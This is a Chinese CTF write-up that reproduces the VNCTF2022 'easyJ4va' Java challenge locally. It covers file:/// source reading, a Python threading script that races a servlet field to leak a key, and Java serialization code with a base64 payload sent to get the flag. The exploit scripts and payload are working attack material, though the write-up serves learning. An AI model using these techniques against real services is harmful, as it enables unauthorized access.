VNCTF2022_easyJ4va
2022-02-13 13:49:00 # CTF

VNCTF2022_easyJ4va

前言

这次比赛看了这个Java题,赛中没打出来,然后现在来复现,环境关了,用之前读取到的源码重新搭建一下。

复现

访问http://localhost:8080/

1644732317340.png

F12查看一下源码,看到了/file?

1644732467415.png

访问http://localhost:8080/file

1644732692710.png

让我们输入url,这应该是url作为一个参数,尝试使用file:///协议读取源码。因为这里是自己搭的环境,就读取源码所在路径了。

1644732961894.png

一共是有6个class文件,源码文件: https://img.le1a.com/2022/02/13/9b0ad29afab28.zip

拿到源码后,来审计一下,先来看看HelloWorldServle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(
name = "HelloServlet",
urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
private volatile String name = "m4n_q1u_666";
private volatile String age = "666";
private volatile String height = "180";
User user;

public HelloWorldServlet() {
}

public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}

if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}

}
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}

}

private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}

看到这里,想要获取flag的话,得先获取到key

1644735118236.png

我们跟进到Secr3t类的check方法,发现只是检测传入的name的值是否等于vnctf2022,返回一个布尔值

1644735189154.png

要怎样做到既要满足name等于vnctf2022,来获取key,又不能满足第一个if条件的name=vnctf2022呢?

来看一下y4师傅前段时间发布的文章: Servlet的线程安全问题

可以通过多线程条件竞争的方式,一个线程为真,一个线程为假,来达到在那一瞬间,不满足第一个if条件,而满足第二个if条件。写一个python脚本跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import threading

url1 = 'http://localhost:8080/evi1?name=vnctf2022'
url2 = 'http://localhost:8080/evi1?name=vnctf2021'

def one(session):
while event.isSet():
res = session.get(url=url1).text
if 'Key' in res:
print(res)
event.clear()

def two(session):
while event.isSet():
res = session.get(url=url2).text
if 'Key' in res:
print(res)
event.clear()

if __name__ == '__main__':
event = threading.Event()
event.set()
session = requests.session()
for i in range(1, 30):
threading.Thread(target=one, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=two, args=(session,)).start()

1644736409382.png

得到Key为:TGUxYeaYrS4quWkpW4heavlO8ge8ge8gQ。接下来看一下doPost方法

1644736863410.png

需要传入一个base64,如果key正确,且传入的base64不为空的话,对base64进行解码,然后传入到textByte字节数组中,然后进行反序列化,赋给User对象u,然后将u跟之前实例化的user对象作比较,相等则给出flag。

我们按照user对象的属性来新建一个对象,并调用SerAndDe的序列化方法,然后进行base64编码,然后试着将其传入题目中的base64

1
2
3
User user = new User("m4n_q1u_666","666","180");
byte[] X= SerAndDe.serialize(user);
String text=Base64.getEncoder().encodeToString(X);

但是得到的结果确实null,回到User类中发现,身高属性添加了transient关键字,使其不允许被序列化,所以我们反序列化得到的结果为null。查看到这篇文章

可以通过重写writeObject方法来绕过,重新赋值一个可序列化的属性给对象

1
2
3
4
private void writeObject(ObjectOutputStream s) throws IOException{
s.defaultWriteObject();
s.writeObject("180");
}

随后运行刚刚的代码,发现得到的序列化结果可重新反序列化得到想要的对象属性

1644737537592.png

payload如下:

1
2
http://localhost:8080/evi1
post: key=TGUxYeaYrS4quWkpW4heavlO8ge8ge8gQ&base64=rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=

因为是本地搭建的,没有/readflag,所以改为了calc.exe便于更直观的看到效果

1644737679404.png

1644737719382.png

成功弹出计算器,复现结束。感谢@fmyyy带我呜呜呜!